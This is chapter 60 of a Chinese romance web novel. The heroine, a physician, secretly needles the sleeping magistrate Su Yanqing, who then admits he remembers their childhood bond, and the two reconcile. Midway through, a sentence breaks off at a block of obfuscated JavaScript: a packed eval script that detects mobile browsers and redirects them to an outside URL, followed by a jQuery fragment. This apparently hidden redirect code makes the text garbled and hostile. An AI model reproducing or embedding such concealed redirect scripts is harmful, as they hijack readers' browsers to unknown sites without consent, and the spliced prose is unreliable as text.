60. 朗月

作品:《知县夫人她妙手仁心

    当日夜晚,县衙西厢房内,一盏如豆的油灯下,吴昭音正默默整理着行囊。明日,她真的要南下了。


    珠儿已在隔间的小榻上沉沉睡去。吴昭音却毫无睡意,目光不由自主地飘向东边那间熟悉的卧房。


    “最后一次……”她低声呢喃,仿佛在说服自己。心底那份不死心的执念,如同暗夜里的星火,灼烧着她。


    她深吸一口气,再次悄无声息地溜进了东厢房。


    房内一片漆黑,只有窗棂透入的几缕清冷月光,在地上投下斑驳的光影。吴昭音屏住呼吸,适应着黑暗,蹑足向床榻靠近。


    就在她即将靠近床边时,脚下忽然被什么东西绊了一下!身体瞬间失去平衡,她下意识地伸手想扶住旁边的多宝格,却只听“铿”的一声轻响,一个卷轴似的东西被她撞落下来!


    “糟了!”吴昭音心中惊呼,几乎魂飞魄散。来不及多想,她猛地向前一扑,双手竟在卷轴即将落地的前一瞬将其捞入怀中!整个人因这剧烈的动作几乎跪倒在地,膝盖磕在冰冷的地砖上,生疼。


    她惊魂未定地抱着那卷轴,伏在地上,大气也不敢出,竖着耳朵仔细听床上的动静。还好,苏彦清只是翻了个身,呼吸依旧平稳。


    吴昭音这才松了口气,抱着卷轴,借着窗边漏下的那点微弱月光,好奇地打量着。这是一个普通的卷轴,紫檀木的轴头,触手温润。


    鬼使神差地,她轻轻解开了系带,小心翼翼地,将画卷一点点展开。


    月光吝啬地洒在泛黄的宣纸上,起初只是模糊的轮廓。她凑得更近些,几乎是屏息凝神地细看。渐渐地,一个少女的侧影在月光下清晰起来——是那日在西山画的图。


    轰!


    吴昭音只觉得一股热血直冲头顶,整个人僵在原地,指尖冰凉,心却烫得灼人!


    那日,她只当他闲来偷画,虽心有触动,但并未多想。不料时间过去许久,一路轻车简从的他竟从临安将这画辗转带到赣县,竟然……还装裱起来!


    一个念头如同惊雷般在她脑海中作响:莫非他……有意于我?


    可……既然有意,又是青梅竹马的情分,为何重逢至今,他始终装作不识?莫非真的失忆至此?


    一念及此,吴昭音只觉心如沸鼎,煎灼难当。她轻轻卷好画轴,将其小心翼翼地放回原处。


    她深吸一口气,再次走到床边,取出针囊,里面所有的银针在月光下泛着幽冷的寒光。


    “对不起……这次,我不能再等了。”她心中默念,指尖捻起一根最长的银针,认准头顶百会穴,凝神静气,稳稳刺入!这一次,她不再留力,针入极深!紧接着,第二针、第三针……她将针囊中所有的针都用上了,密密麻麻地刺在苏彦清头颈几处关键大穴之上。


    “呃……唔……”


    沉睡中的苏彦清猛地发出一声压抑到极致的痛哼,这痛楚远比之前任何一次都要尖锐、猛烈。


    他的身体剧烈地抽搐了一下,额角瞬间布满豆大的冷汗,在月光下闪着微光。


    吴昭音被这剧烈的反应吓了一跳,心脏几乎停跳。她猛地停下捻针的手,伏趴在冰冷的脚踏上,蜷缩成一团,屏住呼吸,一动不敢动,只盼着他能再次睡去。


    时间仿佛凝固了。每一息都漫长得如同一个世纪。她能听到自己擂鼓般的心跳,也能听到床上那人粗重压抑的呼吸。


    就在她几乎要窒息的时候,一个低沉沙哑的声音,在黑暗中清晰地响起:


    “出来吧。”


    吴昭音身体一僵,把头埋得更低了,恨不得钻进地缝里去。


    “再不出来——”那声音带着几分无奈,又似掺着一缕化不开的温柔,在黑暗中低低响起,“这赣县明日的朝阳,我苏彦清……怕是见不到了吧?”


    黑暗中,传来窸窣的声响。苏彦清坐了起来。月光勾勒出他略显单薄却挺拔的轮廓。他并未下床,只是朝着吴昭音蜷缩的方向,缓缓地伸出了一只手。


    “你以为,”他的声音在寂静的夜里格外清晰,“你换了身份,隐了踪迹,躲在暗处,我便认不出你了么?”


    吴昭音认命般地闭了闭眼。她缓缓地,从脚踏的阴影里抬起头,犹豫了一下,终于伸出自己微凉而颤抖的手,轻轻放入了他温暖宽厚的掌心。


    一股不容抗拒的力道传来,她惊呼一声,整个人便被一股强劲的力道拉了起来,猝不及防地跌坐在了……他的床榻之上!


    柔软的锦褥陷了下去。吴昭音只觉得一股巨大的羞窘感瞬间淹没了她!这是她第一次坐在一个男子的床榻上!而且刚刚蹲伏太久,此刻骤然起身,一阵剧烈的眩晕和头麻感袭来,让她眼前发黑,脸颊更是滚烫得如同火烧,只能庆幸这夜色足够浓重。


    两人并肩坐在床沿,距离近得能感受到彼此的体温和呼吸。空气仿佛凝固了,只剩下窗外偶尔的鸟叫和两人同样急促的心跳声。一种难以言喻的沉默在黑暗中蔓延,带着初破冰层的尴尬,更有千言万语不知从何说起的汹涌。


    过了许久,久到吴昭音几乎要以为这沉默会持续到天荒地老,她才听到自己干涩的声音,带着一丝不易察觉的哽咽,轻轻地问:


    “你……真的……什么都不记得了吗?”她问出了心底盘旋已久的疑问。


    身旁的人沉默了片刻。黑暗中,她感觉到他的目光似乎落在了自己脸上。那目光如有实质,让她脸颊再次发烫,忍不住想要嗔怪。


    就在她即将开口埋怨之际,苏彦清低沉的声音缓缓响起:


    “是。很长一段时间,确实忘了许多。不过……”他顿了顿,似乎在斟酌词句,“似乎是从那次,在大理寺,喝了寺丞大人的茶后……一些零碎的片段,便开始……一点点地回来了。”


    “茶?”吴昭音猛地转头看向他模糊的侧影,声音因急切而拔高,“你想起什么了?都想起了么?”她的心瞬间提到了嗓子眼。


    苏彦清没有立刻回答。他侧过脸,在朦胧的黑暗中,深深地“看”着她。即使视线模糊,吴昭音也能感受到那目光的专注和复杂,带着一种沉甸甸的重量,让她几乎喘不过气,方才那点羞恼也化作了紧张。


    就在她快要承受不住这沉默的注视时,苏彦清才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894022|176239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢悠悠地、一字一句地说道:


    “想起来……我——对不起你。”


    “什么?!”吴昭音愕然失声,如同被兜头浇了一盆冰水,瞬间从床沿上弹了起来!


    “何来的对不起?”巨大的困惑和随之而来的委屈让她声音发颤,“所以……你早就想起来了?苏大人……没想到你竟是如此怯懦之人!”


    苏彦清似乎被她的话语刺痛了,他下意识地伸出手,似乎想拉住她,却又在半空中颓然缩回,无力地垂落在身侧。他微微低下头,声音里充满了苦涩和自嘲:


    “怯懦?或许吧……”他抬起头,目光仿佛穿透黑暗,看向遥远的过去,“我不敢想…若哪一次,你没能逃脱严相的毒手,被他‘斩草除根’……我此生,是否还能再遇见你?每每思及此,便觉心如刀绞。我恨自己……在你家遭逢巨变,在你最孤立无援之时,我……我却作壁上观……未能护住你分毫。我……有何面目,以‘萧哥哥’的身份站在你面前?”


    他的话语如同沉重的铅块,砸在吴昭音的心上。原来……竟是这样的缘由?原来他的躲避,不是因为忘却,而是因为深重的自责?


    她看着黑暗中那个模糊却显得无比落寞的身影,声音不自觉地软了下来,带着一丝颤抖:


    “那你……明白我吗?你又怎么知道,我会怪你?”


    苏彦清苦笑一声,摇了摇头,声音低沉:“你怪不怪我,其实……已不重要了。无法面对的终是我自己。”


    “愚不可及!”吴昭音忍不住低斥出声,声音里带着浓浓的鼻音和心疼,“你那时不过舞勺之年!即便你后来做了大理寺少卿,我也未敢奢望你能以一己之力扳倒那恶人!若要你帮我,你便会成为下一个方鹤堂、花蓉、向知珩,甚至是……是我祖父。这一路走来,有多少忠诚义士皆被其残害致死,我岂会不知?又怎会怪你呢,萧哥哥……”


    话音未落,滚烫的泪水便再也控制不住,如同断了线的珠子,汹涌而出,滑过冰凉的脸颊。


    “音音!”苏彦清心头剧颤,他猛地站起身,毫不犹豫地,将那个在黑暗中无声哭泣、颤抖不止的娇小身躯,紧紧地拥入了怀中!仿佛要将她揉进自己的骨血里,弥补这些年所有的亏欠与分离。


    “不哭……音音不哭……是我错了……”他笨拙地拍着她的背,声音带着从未有过的慌乱和心疼,一遍遍重复着,“是我错了,是我错了……”


    吴昭音将脸深深埋在他温热的颈窝,泪水浸湿了他的衣襟。她抽泣着,声音闷闷地从他怀里传来:“错在哪里了?”


    苏彦清抱着她的手臂收得更紧,下巴轻轻抵着她的发顶,声音低沉而清晰,带着不容置疑的悔意:“我错在……不该装作不认识你。不该让你独自一人,承受这份重逢的煎熬和猜疑。错在……太过自以为是——”


    一个轻轻地吻落在了苏彦清的下巴,惊得他发不出声音。


    窗外,月色依旧清冷如霜,无声地洒在寂静的庭院里。夜风拂过檐角的铜铃,发出几声细微而清脆的叮咚。但在吴昭音心里,却是多年来觉得最暖的一次。